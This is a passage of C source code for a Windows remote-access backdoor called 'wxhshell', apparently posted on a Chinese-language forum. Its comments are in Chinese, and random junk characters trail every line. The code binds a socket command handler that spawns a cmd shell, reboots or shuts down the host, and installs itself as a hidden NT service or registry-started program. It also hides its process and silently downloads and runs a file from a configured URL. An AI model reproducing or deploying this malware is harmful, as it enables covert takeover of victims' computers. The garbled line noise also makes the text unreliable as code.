  // 帮助 xK\d4 "  
  case '?': { \;"=QmRD%:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f`=-US  
    break; \} :PLCKT  
  } *=7U4W  
  // 安装 ,nB5/Lx  
  case 'i': { tC9n k5~  
    if(Install()) g'qa}/X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N' `A?&2ru  
    else /Mu @,)''  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7x4PaX(  
    break; qm o9G  
    } sp*v?5lW  
  // 卸载 #?9;uy<j.q  
  case 'r': { R!N%o~C2-  
    if(Uninstall()) \)?HJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l2P=R)@{  
    else ]`+HO=0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hFl^\$Re  
    break; 9j9TPyC/2  
    } MFAH%Z$  
  // 显示 wxhshell 所在路径 n#OB%@]<V  
  case 'p': { J6FV]Gpv  
    char svExeFile[MAX_PATH]; ?m? ::RH  
    strcpy(svExeFile,"\n\r"); r|Tcfk]%  
      strcat(svExeFile,ExeFile); M1iS(x  
        send(wsh,svExeFile,strlen(svExeFile),0); )f<z% :I+Z  
    break; m-"w0Rl1T  
    } 3x'|]Ns  
  // 重启 W]5w \  
  case 'b': { *itUWpNhr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _t #k,;  
    if(Boot(REBOOT)) 9c :cw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ` v@m-j6  
    else { Ge-vWf-RbB  
    closesocket(wsh); ? '{SX9  
    ExitThread(0); @7j AL-  
    } HqT#$}rv  
    break; "mvt>X  
    } h|{]B,.Lh  
  // 关机 DG:Z=LuJr  
  case 'd': { [}0haTYc4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q|?L*Pq2I  
    if(Boot(SHUTDOWN)) 76h ,]xi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =mp;.k95  
    else { zsyIV!(  
    closesocket(wsh); #Kex vP&*  
    ExitThread(0); (\YltC@q%  
    } 6.nCV 0xA  
    break; FSW_<%  
    } <+vw@M  
  // 获取shell +Kbjzh3<wG  
  case 's': { iVq'r4S  
    CmdShell(wsh); F%D.zvKN  
    closesocket(wsh); sZ/v^ xk  
    ExitThread(0); ]R f[y  
    break; zL`iK"N`  
  } MC.) 2B7  
  // 退出 C mWgcw1  
  case 'x': { V7fq4O^:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ::{Q1F  
    CloseIt(wsh); 2?ez,*-[  
    break; UIN<2F_  
    } ]{mPh\  
  // 离开 !/i{l  
  case 'q': { } .m<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =QiI :|eRA  
    closesocket(wsh); mQ 26K~  
    WSACleanup(); =Qj{T  
    exit(1); +V046goX W  
    break; ;dZZ;#k%  
        } |AU~_{H  
  } hVAn>_(  
  } RF53Jyt  
tq6!`L}3  
  // 提示信息 _ y8Wn}19f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o 5uph=Q{  
} ""F5z,'  
  } jc[Y}gd,  
O$j7i:G'5  
  return; '3D XPR^B6  
} ca*DZG/  
']z{{UNUN  
// shell模块句柄 {~"/Y@&]R  
int CmdShell(SOCKET sock) &n}f?  
{ /quc}"__  
STARTUPINFO si; gANuBWh8T  
ZeroMemory(&si,sizeof(si));  J^5So  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e95Lo+:f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O-GJ-  
PROCESS_INFORMATION ProcessInfo; &LZn FR  
char cmdline[]="cmd"; /saIs%(fU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?5|>@>  
  return 0; Pz|>"'  
} tla 5B_  
(G4at2YLd  
// 自身启动模式 Ed,~1GanY  
int StartFromService(void) {19PL8B~}  
{ 1&evG-#<:  
typedef struct sRL`dEl4l  
{ >xYpNtEs  
  DWORD ExitStatus; 9gEwh<  
  DWORD PebBaseAddress; C>j@,G4  
  DWORD AffinityMask; ]kRfB:4ED  
  DWORD BasePriority; "ZoRZ'i  
  ULONG UniqueProcessId; z] P SpUd  
  ULONG InheritedFromUniqueProcessId; }mq6]ZrK  
}   PROCESS_BASIC_INFORMATION; wyj{zWRJp  
BsqP?/  
PROCNTQSIP NtQueryInformationProcess; (X1e5j>Ru  
37 ,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ou!2 [oe@M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bvr^zH,C  
xH(lm2kvT  
  HANDLE             hProcess; Qu"\wE^.`  
  PROCESS_BASIC_INFORMATION pbi; }c`"_L  
#Z`q+@@ ]A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AFDq}*2Qb  
  if(NULL == hInst ) return 0; G"U9E5O  
YYl4"l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~tUl}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kmsb hYM)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); eH3JyzzP,  
>WQMqQ^t@  
  if (!NtQueryInformationProcess) return 0; O-~ 7b(Z  
st3l2Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); EZy)A$|  
  if(!hProcess) return 0; QP^Cx=  
l7259Ro~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]&xk30  
otl0J Ht*+  
  CloseHandle(hProcess); _jI,)sr4ic  
AOWmzu{zw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |\<`Ib4j  
if(hProcess==NULL) return 0; v/0QOp  
j4qR(p(vC  
HMODULE hMod; }=UHbU.n~!  
char procName[255]; E$:*NSXj  
unsigned long cbNeeded; W*4-.*U8a  
o"Euwh!!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M7a.8-!1  
5uNJx5g  
  CloseHandle(hProcess); )}]g] g  
'(VJ&UlS2  
if(strstr(procName,"services")) return 1; // 以服务启动 Y. 5_6'Eo?  
gsv uE  
  return 0; // 注册表启动 a 3b/e8c  
} Lh"<XYY  
f/NH:1)y  
// 主模块 iNz=e=+Si  
int StartWxhshell(LPSTR lpCmdLine) 3n1;G8Nf  
{ ]Svt`0|}  
  SOCKET wsl; 1N^[.=  
BOOL val=TRUE; ^ f &XQQY  
  int port=0; ICoHI  
  struct sockaddr_in door; .hP D$o  
|vwVghC  
  if(wscfg.ws_autoins) Install(); Zq|I,l0+E  
wd^':  
port=atoi(lpCmdLine); eV"h0_ox  
VT%NO'0  
if(port<=0) port=wscfg.ws_port; /W30~y  
:P\7iW  
  WSADATA data; Ic:(Gi- %  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,I$`-$_'  
el<s8:lA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   WZejp}x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ygS;$2m%2  
  door.sin_family = AF_INET; y$F'(b| )  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); AGO+p(6d=g  
  door.sin_port = htons(port); Ae^~Cz1qz  
>~sI8czR*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -M~:lK]n   
closesocket(wsl); du lI&_x  
return 1; GR.^glG?6  
} u+e{Mim  
S8w _ii3zd  
  if(listen(wsl,2) == INVALID_SOCKET) { v ~?qz5:K~  
closesocket(wsl); o&zJ=k[4  
return 1; cAqLE\h  
} fZzoAzfv2  
  Wxhshell(wsl); KKPh~ThC  
  WSACleanup();  E`0?  
C8:f_mJU  
return 0; r1m]HFN  
]z;I _-  
} qQ/^@3tXL  
#7 $ H  
// 以NT服务方式启动 )VS=E7[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /P3 <"?#k  
{ R)( T^V`{  
DWORD   status = 0; :WS@=sZN  
  DWORD   specificError = 0xfffffff; B =T'5&  
>`mVY=H i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j'<<4.(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D~fl JR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b-?gw64#  
  serviceStatus.dwWin32ExitCode     = 0; sPQQ"|wU  
  serviceStatus.dwServiceSpecificExitCode = 0; ) 0W{]2  
  serviceStatus.dwCheckPoint       = 0; l0w]`EE  
  serviceStatus.dwWaitHint       = 0; m@F`!qY~Y\  
Q&ptc>{bH6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x8\?}UnB  
  if (hServiceStatusHandle==0) return; JCzeXNY  
=sU<S,a*  
status = GetLastError(); D~iz+{Q4  
  if (status!=NO_ERROR) -1_)LO&H  
{ $q{!5-e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _QE qk@ql  
    serviceStatus.dwCheckPoint       = 0; x7w4[QYw  
    serviceStatus.dwWaitHint       = 0; xY8$I6  
    serviceStatus.dwWin32ExitCode     = status; t]g-CW 3  
    serviceStatus.dwServiceSpecificExitCode = specificError; J26 VnK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (k)v!O-  
    return;  6f>{"'  
  } z`}qkbvi  
1;8UC;,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S-b/S5  
  serviceStatus.dwCheckPoint       = 0; ?V.cOR`6  
  serviceStatus.dwWaitHint       = 0; w\u=)3qyVV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8)3*6+D  
} cN6X#D  
EhvX)s  
// 处理NT服务事件,比如:启动、停止 %y[h5*y*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) DGF5CK.O  
{ XS{Qnx_#  
switch(fdwControl) aEWWP]  
{ j#x6  
case SERVICE_CONTROL_STOP: (Q!}9K3  
  serviceStatus.dwWin32ExitCode = 0; 'n]w"]|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `r':by0M  
  serviceStatus.dwCheckPoint   = 0; eA?RK.e  
  serviceStatus.dwWaitHint     = 0; fu ,}1Mq#  
  { , WYPU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $G+@_'  
  } ~P,lz!he_  
  return; ,HV(l+k {|  
case SERVICE_CONTROL_PAUSE: 0<@KG8@hI;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gzT*-  
  break; <w9JRpFY  
case SERVICE_CONTROL_CONTINUE: XJ\DVZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ncdKj}  
  break; (OL4Ex']  
case SERVICE_CONTROL_INTERROGATE: NB#OCH1/9  
  break; iB yf{I>+  
}; %E>Aw>] v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wo/\]5  
}  KC6.Fr{  
}?i0  I  
// 标准应用程序主函数  `25yE/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M h}m;NI  
{ gO-  _  
pa3{8x{9m  
// 获取操作系统版本 OLGE!&!>  
OsIsNt=GetOsVer(); 7U"g3 a)=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2- h{N  
Sy_G,+$\  
  // 从命令行安装  'KL0@l  
  if(strpbrk(lpCmdLine,"iI")) Install(); o[w:1q7  
-f^tE,-  
  // 下载执行文件 6l x>>J!H  
if(wscfg.ws_downexe) { eJ-xsH*8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p)-^;=<B3  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,^< R{{{-A  
} & h)yro  
ED( Sg  
if(!OsIsNt) { ..5CC;B  
// 如果时win9x,隐藏进程并且设置为注册表启动 +GN(Ug'R  
HideProc(); ]Q1yNtN  
StartWxhshell(lpCmdLine); _< V)-Y  
} F~W6Bp^W  
else ueWEc^_>  
  if(StartFromService()) 3(N$nsi  
  // 以服务方式启动 NwvC[4  
  StartServiceCtrlDispatcher(DispatchTable); ,/2Vt/lt  
else RSRS wkC  
  // 普通方式启动 {\1?ZrCI&  
  StartWxhshell(lpCmdLine); \?-<4Bc@  
!>o7a}?  
return 0; T3<4B!UB&  
}
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只看该作者 1 发表于: 2006-10-10
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